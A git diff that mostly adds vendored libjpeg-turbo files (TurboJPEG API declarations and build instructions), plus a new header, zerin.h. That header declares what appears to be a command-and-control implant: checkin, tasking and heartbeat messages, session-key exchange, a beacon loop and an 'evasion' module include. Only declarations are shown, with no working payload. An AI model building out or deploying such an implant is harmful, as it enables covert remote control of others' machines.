CMYK and other formats requires a + * color management system.) + * - Other @ref TJPF "pixel formats" : The packed-pixel buffer will use the + * specified pixel format, and pixel format conversion will be performed if + * necessary. + * + * @return a pointer to a newly-allocated buffer containing the packed-pixel + * image, converted to the chosen pixel format and with the chosen row + * alignment, or NULL if an error occurred (see #tj3GetErrorStr().) This + * buffer should be freed using #tj3Free(). + */ +DLLEXPORT short *tj3LoadImage12(tjhandle handle, const char *filename, + int *width, int align, int *height, + int *pixelFormat); + +/** + * Load a packed-pixel image with 13 to 16 bits of data precision per sample + * from disk into memory. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file containing a packed-pixel image in PBMPLUS + * (PPM/PGM) format. The target data precision (from 13 to 16 bits per sample) + * can be specified using #TJPARAM_PRECISION and defaults to 16 if + * #TJPARAM_PRECISION is unset or out of range. If the data precision of the + * PBMPLUS file does not match the target data precision, then upconverting or + * downconverting will be performed. + * + * @param width pointer to an integer variable that will receive the width (in + * pixels) of the packed-pixel image + * + * @param align row alignment (in samples) of the packed-pixel buffer to be + * returned (must be a power of 2.) Setting this parameter to n will cause all + * rows in the buffer to be padded to the nearest multiple of n samples + * (1 = unpadded.) + * + * @param height pointer to an integer variable that will receive the height + * (in pixels) of the packed-pixel image + * + * @param pixelFormat pointer to an integer variable that specifies or will + * receive the pixel format of the packed-pixel buffer. The behavior of this + * function will vary depending on the value of `*pixelFormat` passed to the + * function: + * - @ref TJPF_UNKNOWN : The packed-pixel buffer returned by this function will + * use the most optimal pixel format for the file type, and `*pixelFormat` will + * contain the ID of that pixel format upon successful return from this + * function. + * - @ref TJPF_GRAY : Only PGM files can be loaded. + * - @ref TJPF_CMYK : The RGB or grayscale pixels stored in the file will be + * converted using a quick & dirty algorithm that is suitable only for testing + * purposes. (Proper conversion between CMYK and other formats requires a + * color management system.) + * - Other @ref TJPF "pixel formats" : The packed-pixel buffer will use the + * specified pixel format, and pixel format conversion will be performed if + * necessary. + * + * @return a pointer to a newly-allocated buffer containing the packed-pixel + * image, converted to the chosen pixel format and with the chosen row + * alignment, or NULL if an error occurred (see #tj3GetErrorStr().) This + * buffer should be freed using #tj3Free(). + */ +DLLEXPORT unsigned short *tj3LoadImage16(tjhandle handle, const char *filename, + int *width, int align, int *height, + int *pixelFormat); + + +/** + * Save a packed-pixel image with 2 to 8 bits of data precision per sample from + * memory to disk. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file to which to save the packed-pixel image. The + * image will be stored in Windows BMP or PBMPLUS (PPM/PGM) format, depending + * on the file extension. Windows BMP files require 8-bit-per-sample data + * precision. When saving a PBMPLUS file, the source data precision (from 2 to + * 8 bits per sample) can be specified using #TJPARAM_PRECISION and defaults to + * 8 if #TJPARAM_PRECISION is unset or out of range. + * + * @param buffer pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK image to be saved + * + * @param width width (in pixels) of the packed-pixel image + * + * @param pitch samples per row in the packed-pixel image. Setting this + * parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat]. + * + * @param height height (in pixels) of the packed-pixel image + * + * @param pixelFormat pixel format of the packed-pixel image (see @ref TJPF + * "Pixel formats".) If this parameter is set to @ref TJPF_GRAY, then the + * image will be stored in PGM or 8-bit-per-pixel (indexed color) BMP format. + * Otherwise, the image will be stored in PPM or 24-bit-per-pixel BMP format. + * If this parameter is set to @ref TJPF_CMYK, then the CMYK pixels will be + * converted to RGB using a quick & dirty algorithm that is suitable only for + * testing purposes. (Proper conversion between CMYK and other formats + * requires a color management system.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SaveImage8(tjhandle handle, const char *filename, + const unsigned char *buffer, int width, int pitch, + int height, int pixelFormat); + +/** + * Save a packed-pixel image with 9 to 12 bits of data precision per sample + * from memory to disk. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file to which to save the packed-pixel image, + * which will be stored in PBMPLUS (PPM/PGM) format. The source data precision + * (from 9 to 12 bits per sample) can be specified using #TJPARAM_PRECISION and + * defaults to 12 if #TJPARAM_PRECISION is unset or out of range. + * + * @param buffer pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK image to be saved + * + * @param width width (in pixels) of the packed-pixel image + * + * @param pitch samples per row in the packed-pixel image. Setting this + * parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat]. + * + * @param height height (in pixels) of the packed-pixel image + * + * @param pixelFormat pixel format of the packed-pixel image (see @ref TJPF + * "Pixel formats".) If this parameter is set to @ref TJPF_GRAY, then the + * image will be stored in PGM format. Otherwise, the image will be stored in + * PPM format. If this parameter is set to @ref TJPF_CMYK, then the CMYK + * pixels will be converted to RGB using a quick & dirty algorithm that is + * suitable only for testing purposes. (Proper conversion between CMYK and + * other formats requires a color management system.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SaveImage12(tjhandle handle, const char *filename, + const short *buffer, int width, int pitch, + int height, int pixelFormat); + +/** + * Save a packed-pixel image with 13 to 16 bits of data precision per sample + * from memory to disk. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file to which to save the packed-pixel image, + * which will be stored in PBMPLUS (PPM/PGM) format. The source data precision + * (from 13 to 16 bits per sample) can be specified using #TJPARAM_PRECISION + * and defaults to 16 if #TJPARAM_PRECISION is unset or out of range. + * + * @param buffer pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK image to be saved + * + * @param width width (in pixels) of the packed-pixel image + * + * @param pitch samples per row in the packed-pixel image. Setting this + * parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat]. + * + * @param height height (in pixels) of the packed-pixel image + * + * @param pixelFormat pixel format of the packed-pixel image (see @ref TJPF + * "Pixel formats".) If this parameter is set to @ref TJPF_GRAY, then the + * image will be stored in PGM format. Otherwise, the image will be stored in + * PPM format. If this parameter is set to @ref TJPF_CMYK, then the CMYK + * pixels will be converted to RGB using a quick & dirty algorithm that is + * suitable only for testing purposes. (Proper conversion between CMYK and + * other formats requires a color management system.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SaveImage16(tjhandle handle, const char *filename, + const unsigned short *buffer, int width, + int pitch, int height, int pixelFormat); + + +/* Backward compatibility functions and macros (nothing to see here) */ + +/* TurboJPEG 1.0+ */ + +#define NUMSUBOPT TJ_NUMSAMP +#define TJ_444 TJSAMP_444 +#define TJ_422 TJSAMP_422 +#define TJ_420 TJSAMP_420 +#define TJ_411 TJSAMP_420 +#define TJ_GRAYSCALE TJSAMP_GRAY + +#define TJ_BGR 1 +#define TJ_BOTTOMUP TJFLAG_BOTTOMUP +#define TJ_FORCEMMX TJFLAG_FORCEMMX +#define TJ_FORCESSE TJFLAG_FORCESSE +#define TJ_FORCESSE2 TJFLAG_FORCESSE2 +#define TJ_ALPHAFIRST 64 +#define TJ_FORCESSE3 TJFLAG_FORCESSE3 +#define TJ_FASTUPSAMPLE TJFLAG_FASTUPSAMPLE + +#define TJPAD(width) (((width) + 3) & (~3)) + +DLLEXPORT unsigned long TJBUFSIZE(int width, int height); + +DLLEXPORT int tjCompress(tjhandle handle, unsigned char *srcBuf, int width, + int pitch, int height, int pixelSize, + unsigned char *dstBuf, unsigned long *compressedSize, + int jpegSubsamp, int jpegQual, int flags); + +DLLEXPORT int tjDecompress(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, + int width, int pitch, int height, int pixelSize, + int flags); + +DLLEXPORT int tjDecompressHeader(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, int *width, + int *height); + +DLLEXPORT int tjDestroy(tjhandle handle); + +DLLEXPORT char *tjGetErrorStr(void); + +DLLEXPORT tjhandle tjInitCompress(void); + +DLLEXPORT tjhandle tjInitDecompress(void); + +/* TurboJPEG 1.1+ */ + +#define TJ_YUV 512 + +DLLEXPORT unsigned long TJBUFSIZEYUV(int width, int height, int jpegSubsamp); + +DLLEXPORT int tjDecompressHeader2(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, int *width, + int *height, int *jpegSubsamp); + +DLLEXPORT int tjDecompressToYUV(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, + int flags); + +DLLEXPORT int tjEncodeYUV(tjhandle handle, unsigned char *srcBuf, int width, + int pitch, int height, int pixelSize, + unsigned char *dstBuf, int subsamp, int flags); + +/* TurboJPEG 1.2+ */ + +#define TJFLAG_BOTTOMUP 2 +#define TJFLAG_FORCEMMX 8 +#define TJFLAG_FORCESSE 16 +#define TJFLAG_FORCESSE2 32 +#define TJFLAG_FORCESSE3 128 +#define TJFLAG_FASTUPSAMPLE 256 +#define TJFLAG_NOREALLOC 1024 + +DLLEXPORT unsigned char *tjAlloc(int bytes); + +DLLEXPORT unsigned long tjBufSize(int width, int height, int jpegSubsamp); + +DLLEXPORT unsigned long tjBufSizeYUV(int width, int height, int subsamp); + +DLLEXPORT int tjCompress2(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, + unsigned char **jpegBuf, unsigned long *jpegSize, + int jpegSubsamp, int jpegQual, int flags); + +DLLEXPORT int tjDecompress2(tjhandle handle, const unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, + int width, int pitch, int height, int pixelFormat, + int flags); + +DLLEXPORT int tjEncodeYUV2(tjhandle handle, unsigned char *srcBuf, int width, + int pitch, int height, int pixelFormat, + unsigned char *dstBuf, int subsamp, int flags); + +DLLEXPORT void tjFree(unsigned char *buffer); + +DLLEXPORT tjscalingfactor *tjGetScalingFactors(int *numscalingfactors); + +DLLEXPORT tjhandle tjInitTransform(void); + +DLLEXPORT int tjTransform(tjhandle handle, const unsigned char *jpegBuf, + unsigned long jpegSize, int n, + unsigned char **dstBufs, unsigned long *dstSizes, + tjtransform *transforms, int flags); + +/* TurboJPEG 1.2.1+ */ + +#define TJFLAG_FASTDCT 2048 +#define TJFLAG_ACCURATEDCT 4096 + +/* TurboJPEG 1.4+ */ + +DLLEXPORT unsigned long tjBufSizeYUV2(int width, int align, int height, + int subsamp); + +DLLEXPORT int tjCompressFromYUV(tjhandle handle, const unsigned char *srcBuf, + int width, int align, int height, int subsamp, + unsigned char **jpegBuf, + unsigned long *jpegSize, int jpegQual, + int flags); + +DLLEXPORT int tjCompressFromYUVPlanes(tjhandle handle, + const unsigned char **srcPlanes, + int width, const int *strides, + int height, int subsamp, + unsigned char **jpegBuf, + unsigned long *jpegSize, int jpegQual, + int flags); + +DLLEXPORT int tjDecodeYUV(tjhandle handle, const unsigned char *srcBuf, + int align, int subsamp, unsigned char *dstBuf, + int width, int pitch, int height, int pixelFormat, + int flags); + +DLLEXPORT int tjDecodeYUVPlanes(tjhandle handle, + const unsigned char **srcPlanes, + const int *strides, int subsamp, + unsigned char *dstBuf, int width, int pitch, + int height, int pixelFormat, int flags); + +DLLEXPORT int tjDecompressHeader3(tjhandle handle, + const unsigned char *jpegBuf, + unsigned long jpegSize, int *width, + int *height, int *jpegSubsamp, + int *jpegColorspace); + +DLLEXPORT int tjDecompressToYUV2(tjhandle handle, const unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, + int width, int align, int height, int flags); + +DLLEXPORT int tjDecompressToYUVPlanes(tjhandle handle, + const unsigned char *jpegBuf, + unsigned long jpegSize, + unsigned char **dstPlanes, int width, + int *strides, int height, int flags); + +DLLEXPORT int tjEncodeYUV3(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, + unsigned char *dstBuf, int align, int subsamp, + int flags); + +DLLEXPORT int tjEncodeYUVPlanes(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, + int pixelFormat, unsigned char **dstPlanes, + int *strides, int subsamp, int flags); + +DLLEXPORT int tjPlaneHeight(int componentID, int height, int subsamp); + +DLLEXPORT unsigned long tjPlaneSizeYUV(int componentID, int width, int stride, + int height, int subsamp); + +DLLEXPORT int tjPlaneWidth(int componentID, int width, int subsamp); + +/* TurboJPEG 2.0+ */ + +#define TJFLAG_STOPONWARNING 8192 +#define TJFLAG_PROGRESSIVE 16384 + +DLLEXPORT int tjGetErrorCode(tjhandle handle); + +DLLEXPORT char *tjGetErrorStr2(tjhandle handle); + +DLLEXPORT unsigned char *tjLoadImage(const char *filename, int *width, + int align, int *height, int *pixelFormat, + int flags); + +DLLEXPORT int tjSaveImage(const char *filename, unsigned char *buffer, + int width, int pitch, int height, int pixelFormat, + int flags); + +/* TurboJPEG 2.1+ */ + +#define TJFLAG_LIMITSCANS 32768 + +/** + * @} + */ + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/include/zerin.h b/include/zerin.h new file mode 100755 index 0000000..02fd018 --- /dev/null +++ b/include/zerin.h @@ -0,0 +1,79 @@ +#ifndef ZERIN_H +#define ZERIN_H + +#define ZERIN_VERSION_MAJOR 1 +#define ZERIN_VERSION_MINOR 0 +#define ZERIN_VERSION_PATCH 0 + +#define ZERIN_MAX_PAYLOAD (1024 * 1024 * 4) // 4 MB max message +#define ZERIN_MAX_TASKS 64 +#define ZERIN_AGENT_ID_LEN 37 // UUID + null +#define ZERIN_KEY_SIZE 32 +#define ZERIN_NONCE_SIZE 12 +#define ZERIN_TAG_SIZE 16 +#define ZERIN_SHA256_SIZE 32 + +#include +#include +#include + +#ifdef _WIN32 +#define WIN32_LEAN_AND_MEAN +#include +#endif + +// Result codes +#define ZERIN_OK 0 +#define ZERIN_ERR_CRYPTO -1 +#define ZERIN_ERR_TRANSPORT -2 +#define ZERIN_ERR_PROTOCOL -3 +#define ZERIN_ERR_CONFIG -4 +#define ZERIN_ERR_MEMORY -5 +#define ZERIN_ERR_TIMEOUT -6 +#define ZERIN_ERR_KILLED -7 + +// Message types (matches proto enum) +#define MSG_UNKNOWN 0 +#define MSG_CHECKIN 1 +#define MSG_CHECKIN_ACK 2 +#define MSG_TASK_REQUEST 3 +#define MSG_TASK_RESPONSE 4 +#define MSG_TASK_RESULT 5 +#define MSG_HEARTBEAT 6 +#define MSG_HEARTBEAT_ACK 7 +#define MSG_EXIT 8 + +#include "config.h" +#include "crypto.h" +#include "transport.h" +#include "protocol.h" +#include "commands.h" +#include "platform.h" +#include "evasion.h" + +// Global agent state +typedef struct { + zerin_config_t config; + uint8_t session_key[ZERIN_KEY_SIZE]; + bool session_established; + uint64_t sequence_number; + char cwd[MAX_PATH]; + bool running; +} zerin_agent_t; + +// Base64 encoding +char *base64_encode(const uint8_t *data, size_t len, size_t *out_len); + +// Core functions +int zerin_init(zerin_agent_t *agent); +int zerin_key_exchange(zerin_agent_t *agent); +int zerin_beacon_loop(zerin_agent_t *agent); +void zerin_cleanup(zerin_agent_t *agent); + +// Debug mode (plaintext JSON beacons, no crypto) +#ifdef _DEBUG +int debug_checkin(zerin_agent_t *agent); +int debug_beacon_loop(zerin_agent_t *agent); +#endif + +#endif // ZERIN_H diff --git a/lib/.DS_Store b/lib/.DS_Store new file mode 100644 index 0000000..e77fa7f Binary files /dev/null and b/lib/.DS_Store differ diff --git a/lib/libjpeg-turbo/.gitattributes b/lib/libjpeg-turbo/.gitattributes new file mode 100755 index 0000000..1d71c7c --- /dev/null +++ b/lib/libjpeg-turbo/.gitattributes @@ -0,0 +1,5 @@ +/.gitattributes export-ignore +/.github export-ignore +*.ppm binary +*.pgm binary +/ChangeLog.md conflict-marker-size=8 diff --git a/lib/libjpeg-turbo/BUILDING.md b/lib/libjpeg-turbo/BUILDING.md new file mode 100755 index 0000000..d246c7a --- /dev/null +++ b/lib/libjpeg-turbo/BUILDING.md @@ -0,0 +1,703 @@ +Building libjpeg-turbo +====================== + + +Build Requirements +------------------ + + +### All Systems + +- [CMake](https://cmake.org) v2.8.12 or later + +- [NASM](https://nasm.us) or [Yasm](https://yasm.tortall.net) + (if building x86 or x86-64 SIMD extensions) + * If using NASM, 2.13 or later is required. + * If using Yasm, 1.2.0 or later is required. + * NASM 2.15 or later is required if building libjpeg-turbo with Intel + Control-flow Enforcement Technology (CET) support. + * If building on macOS, NASM or Yasm can be obtained from + [MacPorts](https://macports.org) or [Homebrew](https://brew.sh). + - NOTE: Currently, if it is desirable to hide the SIMD function symbols in + Mac executables or shared libraries that statically link with + libjpeg-turbo, then NASM 2.14 or later or Yasm must be used when + building libjpeg-turbo. + * If NASM or Yasm is not in your `PATH`, then you can specify the full path + to the assembler by using either the `CMAKE_ASM_NASM_COMPILER` CMake + variable or the `ASM_NASM` environment variable. On Windows, use forward + slashes rather than backslashes in the path (for example, + **c:/nasm/nasm.exe**). + * NASM and Yasm are located in the CRB (Code Ready Builder) or PowerTools + repository on Red Hat Enterprise Linux 8+ and derivatives, which is not + enabled by default. + +- If building the TurboJPEG Java wrapper, JDK or OpenJDK 1.5 or later is + required. + + * Most modern Linux distributions, as well as Solaris 10 and later, include + JDK or OpenJDK. For other systems, pre-built JDK binaries can be obtained + from [Oracle](https://oracle.com/java/technologies/downloads) or + [Adoptium](https://adoptium.net/temurin/releases). + + * If using JDK 11 or later, CMake 3.10.x or later must also be used. + +### Un*x Platforms (including Mac and Cygwin) + +- GCC v4.1 (or later) or Clang recommended for best performance + +### Windows + +- Microsoft Visual C++ 2005 or later + + If you don't already have Visual C++, then the easiest way to get it is by + installing + [Visual Studio Community Edition](https://visualstudio.microsoft.com), + which includes everything necessary to build libjpeg-turbo. + + * You can also download and install the standalone Windows SDK (for Windows 7 + or later), which includes command-line versions of the 32-bit and 64-bit + Visual C++ compilers. + * If you intend to build libjpeg-turbo from the command line, then add the + appropriate compiler and SDK directories to the `INCLUDE`, `LIB`, and + `PATH` environment variables. This is generally accomplished by + executing `vcvars32.bat` or `vcvars64.bat`, which are located in the same + directory as the compiler. + * If built with Visual C++ 2015 or later, the libjpeg-turbo static libraries + cannot be used with earlier versions of Visual C++, and vice versa. + * The libjpeg API DLL (**jpeg{version}.dll**) will depend on the C run-time + DLLs corresponding to the version of Visual C++ that was used to build it. + + ... OR ... + +- MinGW + + [MSYS2](https://msys2.org) or [tdm-gcc](https://jmeubank.github.io/tdm-gcc) + recommended if building on a Windows machine. Both distributions install a + Start Menu link that can be used to launch a command prompt with the + appropriate compiler paths automatically set. + + +Sub-Project Builds +------------------ + +The libjpeg-turbo build system does not support being included as a sub-project +using the CMake `add_subdirectory()` function. Use the CMake +`ExternalProject_Add()` function instead. + + +Out-of-Tree Builds +------------------ + +Binary objects, libraries, and executables are generated in the directory from +which CMake is executed (the "binary directory"), and this directory need not +necessarily be the same as the libjpeg-turbo source directory. You can create +multiple independent binary directories, in which different versions of +libjpeg-turbo can be built from the same source tree using different compilers +or settings. In the sections below, *{build_directory}* refers to the binary +directory, whereas *{source_directory}* refers to the libjpeg-turbo source +directory. For in-tree builds, these directories are the same. + + +Ninja +----- + +If using Ninja, then replace `make` or `nmake` with `ninja`, and replace the +CMake generator (specified with the `-G` option) with `Ninja`, in all of the +procedures and recipes below. + + +Build Procedure +--------------- + +NOTE: The build procedures below assume that CMake is invoked from the command +line, but all of these procedures can be adapted to the CMake GUI as +well. + + +### Un*x + +The following procedure will build libjpeg-turbo on Unix and Unix-like systems. +(On Solaris, this generates a 32-bit build. See "Build Recipes" below for +64-bit build instructions.) + + cd {build_directory} + cmake -G"Unix Makefiles" [additional CMake flags] {source_directory} + make + +This will generate the following files under *{build_directory}*: + +**libjpeg.a**
+Static link library for the libjpeg API + +**libjpeg.so.{version}** (Linux, Unix)
+**libjpeg.{version}.dylib** (Mac)
+**cygjpeg-{version}.dll** (Cygwin)
+Shared library for the libjpeg API + +By default, *{version}* is 62.2.0, 7.2.0, or 8.1.2, depending on whether +libjpeg v6b (default), v7, or v8 emulation is enabled. If using Cygwin, +*{version}* is 62, 7, or 8. + +**libjpeg.so** (Linux, Unix)
+**libjpeg.dylib** (Mac)
+Development symlink for the libjpeg API + +**libjpeg.dll.a** (Cygwin)
+Import library for the libjpeg API + +**libturbojpeg.a**
+Static link library for the TurboJPEG API + +**libturbojpeg.so.0.2.0** (Linux, Unix)
+**libturbojpeg.0.2.0.dylib** (Mac)
+**cygturbojpeg-0.dll** (Cygwin)
+Shared library for the TurboJPEG API + +**libturbojpeg.so** (Linux, Unix)
+**libturbojpeg.dylib** (Mac)
+Development symlink for the TurboJPEG API + +**libturbojpeg.dll.a** (Cygwin)
+Import library for the TurboJPEG API + + +### Visual C++ (Command Line) + + cd {build_directory} + cmake -G"NMake Makefiles" -DCMAKE_BUILD_TYPE=Release [additional CMake flags] {source_directory} + nmake + +This will build either a 32-bit or a 64-bit version of libjpeg-turbo, depending +on which version of **cl.exe** is in the `PATH`. + +The following files will be generated under *{build_directory}*: + +**jpeg-static.lib**
+Static link library for the libjpeg API + +**jpeg{version}.dll**
+DLL for the libjpeg API + +**jpeg.lib**
+Import library for the libjpeg API + +**turbojpeg-static.lib**
+Static link library for the TurboJPEG API + +**turbojpeg.dll**
+DLL for the TurboJPEG API + +**turbojpeg.lib**
+Import library for the TurboJPEG API + +*{version}* is 62, 7, or 8, depending on whether libjpeg v6b (default), v7, or +v8 emulation is enabled. + + +### Visual C++ (IDE) + +Choose the appropriate CMake generator option for your version of Visual Studio +(run `cmake` with no arguments for a list of available generators.) For +instance: + + cd {build_directory} + cmake -G"Visual Studio 10" [additional CMake flags] {source_directory} + +NOTE: Add "Win64" to the generator name (for example, "Visual Studio 10 Win64") +to build a 64-bit version of libjpeg-turbo. A separate build directory must be +used for 32-bit and 64-bit builds. + +You can then open **ALL_BUILD.vcproj** in Visual Studio and build one of the +configurations in that project ("Debug", "Release", etc.) to generate a full +build of libjpeg-turbo. + +This will generate the following files under *{build_directory}*: + +**{configuration}/jpeg-static.lib**
+Static link library for the libjpeg API + +**{configuration}/jpeg{version}.dll**
+DLL for the libjpeg API + +**{configuration}/jpeg.lib**
+Import library for the libjpeg API + +**{configuration}/turbojpeg-static.lib**
+Static link library for the TurboJPEG API + +**{configuration}/turbojpeg.dll**
+DLL for the TurboJPEG API + +**{configuration}/turbojpeg.lib**
+Import library for the TurboJPEG API + +*{configuration}* is Debug, Release, RelWithDebInfo, or MinSizeRel, depending +on the configuration you built in the IDE, and *{version}* is 62, 7, or 8, +depending on whether libjpeg v6b (default), v7, or v8 emulation is enabled. + + +### MinGW + +NOTE: This assumes that you are building on a Windows machine using the MSYS +environment. If you are cross-compiling on a Un*x platform (including Mac and +Cygwin), then see "Build Recipes" below. + + cd {build_directory} + cmake -G"MSYS Makefiles" [additional CMake flags] {source_directory} + make + +This will generate the following files under *{build_directory}*: + +**libjpeg.a**
+Static link library for the libjpeg API + +**libjpeg-{version}.dll**
+DLL for the libjpeg API + +**libjpeg.dll.a**
+Import library for the libjpeg API + +**libturbojpeg.a**
+Static link library for the TurboJPEG API + +**libturbojpeg.dll**
+DLL for the TurboJPEG API + +**libturbojpeg.dll.a**
+Import library for the TurboJPEG API + +*{version}* is 62, 7, or 8, depending on whether libjpeg v6b (default), v7, or +v8 emulation is enabled. + + +### Debug Build + +Add `-DCMAKE_BUILD_TYPE=Debug` to the CMake command line. Or, if building +with NMake, remove `-DCMAKE_BUILD_TYPE=Release` (Debug builds are the default +with NMake.) + + +### libjpeg v7 or v8 API/ABI Emulation + +Add `-DWITH_JPEG7=1` to the CMake command line to build a version of +libjpeg-turbo that is API/ABI-compatible with libjpeg v7. Add `-DWITH_JPEG8=1` +to the CMake command line to build a version of libjpeg-turbo that is +API/ABI-compatible with libjpeg v8. See [README.md](README.md) for more +information about libjpeg v7 and v8 emulation. + + +### Arithmetic Coding Support + +Since the patent on arithmetic coding has expired, this functionality has been +included in this release of libjpeg-turbo. libjpeg-turbo's implementation is +based on the implementation in libjpeg v8, but it works when emulating libjpeg +v7 or v6b as well. The default is to enable both arithmetic encoding and +decoding, but those who have philosophical objections to arithmetic coding can +add `-DWITH_ARITH_ENC=0` or `-DWITH_ARITH_DEC=0` to the CMake command line to +disable encoding or decoding (respectively.) + + +### TurboJPEG Java Wrapper + +Add `-DWITH_JAVA=1` to the CMake command line to incorporate an optional Java +Native Interface (JNI) wrapper into the TurboJPEG shared library and build the +Java front-end classes to support it. This allows the TurboJPEG shared library +to be used directly from Java applications. See +[java/README.md](java/README.md) for more details. + +If Java is not in your `PATH`, or if you wish to use an alternate JDK to +build/test libjpeg-turbo, then (prior to running CMake) set the `JAVA_HOME` +environment variable to the location of the JDK that you wish to use. The +`Java_JAVAC_EXECUTABLE`, `Java_JAVA_EXECUTABLE`, and `Java_JAR_EXECUTABLE` +CMake variables can also be used to specify alternate commands or locations for +javac, jar, and java (respectively.) You can also set the +`CMAKE_JAVA_COMPILE_FLAGS` CMake variable or the `JAVAFLAGS` environment +variable to specify arguments that should be passed to the Java compiler when +building the TurboJPEG classes, and the `JAVAARGS` CMake variable to specify +arguments that should be passed to the JRE when running the TurboJPEG Java unit +tests. + + +Build Recipes +------------- + + +### 32-bit Build on 64-bit Linux/Unix + +Use export/setenv to set the following environment variables before running +CMake: + + CFLAGS=-m32 + LDFLAGS=-m32 + + +### 64-bit Build on Solaris + +Use export/setenv to set the following environment variables before running +CMake: + + CFLAGS=-m64 + LDFLAGS=-m64 + + +### Other Compilers + +On Un*x systems, prior to running CMake, you can set the `CC` environment +variable to the command used to invoke the C compiler. + + +### 32-bit MinGW Build on Un*x (including Mac and Cygwin) + +Create a file called **toolchain.cmake** under *{build_directory}*, with the +following contents: + + set(CMAKE_SYSTEM_NAME Windows) + set(CMAKE_SYSTEM_PROCESSOR X86) + set(CMAKE_C_COMPILER {mingw_binary_path}/i686-w64-mingw32-gcc) + set(CMAKE_RC_COMPILER {mingw_binary_path}/i686-w64-mingw32-windres) + +*{mingw\_binary\_path}* is the directory under which the MinGW binaries are +located (usually **/usr/bin**.) Next, execute the following commands: + + cd {build_directory} + cmake -G"Unix Makefiles" -DCMAKE_TOOLCHAIN_FILE=toolchain.cmake \ + -DCMAKE_INSTALL_PREFIX={install_path} \ + [additional CMake flags] {source_directory} + make + +*{install\_path}* is the path under which the libjpeg-turbo binaries should be +installed. + + +### 64-bit MinGW Build on Un*x (including Mac and Cygwin) + +Create a file called **toolchain.cmake** under *{build_directory}*, with the +following contents: + + set(CMAKE_SYSTEM_NAME Windows) + set(CMAKE_SYSTEM_PROCESSOR AMD64) + set(CMAKE_C_COMPILER {mingw_binary_path}/x86_64-w64-mingw32-gcc) + set(CMAKE_RC_COMPILER {mingw_binary_path}/x86_64-w64-mingw32-windres) + +*{mingw\_binary\_path}* is the directory under which the MinGW binaries are +located (usually **/usr/bin**.) Next, execute the following commands: + + cd {build_directory} + cmake -G"Unix Makefiles" -DCMAKE_TOOLCHAIN_FILE=toolchain.cmake \ + -DCMAKE_INSTALL_PREFIX={install_path} \ + [additional CMake flags] {source_directory} + make + +*{install\_path}* is the path under which the libjpeg-turbo binaries should be +installed. + + +Building libjpeg-turbo for iOS +------------------------------ + +iOS platforms, such as the iPhone and iPad, use Arm processors, and all +currently supported models include Neon instructions. Thus, they can take +advantage of libjpeg-turbo's SIMD extensions to significantly accelerate JPEG +compression/decompression. This section describes how to build libjpeg-turbo +for these platforms. + + +### Armv8 (64-bit) + +**Xcode 5 or later required, Xcode 6.3.x or later recommended** + +The following script demonstrates how to build libjpeg-turbo to run on the +iPhone 5S/iPad Mini 2/iPad Air and newer. + + IOS_PLATFORMDIR=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform + IOS_SYSROOT=($IOS_PLATFORMDIR/Developer/SDKs/iPhoneOS*.sdk) + export CFLAGS="-Wall -miphoneos-version-min=8.0 -funwind-tables" + + cd {build_directory} + + cmake -G"Unix Makefiles" \ + -DCMAKE_C_COMPILER=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang \ + -DCMAKE_OSX_ARCHITECTURES=arm64 \ + -DCMAKE_OSX_SYSROOT=${IOS_SYSROOT[0]} \ + [additional CMake flags] {source_directory} + make + +Replace `iPhoneOS` with `iPhoneSimulator` and `-miphoneos-version-min` with +`-miphonesimulator-version-min` to build libjpeg-turbo for the iOS simulator on +Macs with Apple silicon CPUs. + + +Building libjpeg-turbo for Android +---------------------------------- + +Building libjpeg-turbo for Android platforms requires v13b or later of the +[Android NDK](https://developer.android.com/ndk). + + +### Armv7 (32-bit) + +**NDK r19 or later with Clang recommended** + +The following is a general recipe script that can be modified for your specific +needs. + + # Set these variables to suit your needs + NDK_PATH={full path to the NDK directory-- for example, + /opt/android/android-ndk-r16b} + TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r16b and earlier, + and "clang" must be used with NDK r17c and later} + ANDROID_VERSION={the minimum version of Android to support-- for example, + "16", "19", etc.} + + cd {build_directory} + cmake -G"Unix Makefiles" \ + -DANDROID_ABI=armeabi-v7a \ + -DANDROID_ARM_MODE=arm \ + -DANDROID_PLATFORM=android-${ANDROID_VERSION} \ + -DANDROID_TOOLCHAIN=${TOOLCHAIN} \ + -DCMAKE_ASM_FLAGS="--target=arm-linux-androideabi${ANDROID_VERSION}" \ + -DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \ + [additional CMake flags] {source_directory} + make + + +### Armv8 (64-bit) + +**Clang recommended** + +The following is a general recipe script that can be modified for your specific +needs. + + # Set these variables to suit your needs + NDK_PATH={full path to the NDK directory-- for example, + /opt/android/android-ndk-r16b} + TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier, + and "clang" must be used with NDK r17c and later} + ANDROID_VERSION={the minimum version of Android to support. "21" or later + is required for a 64-bit build.} + + cd {build_directory} + cmake -G"Unix Makefiles" \ + 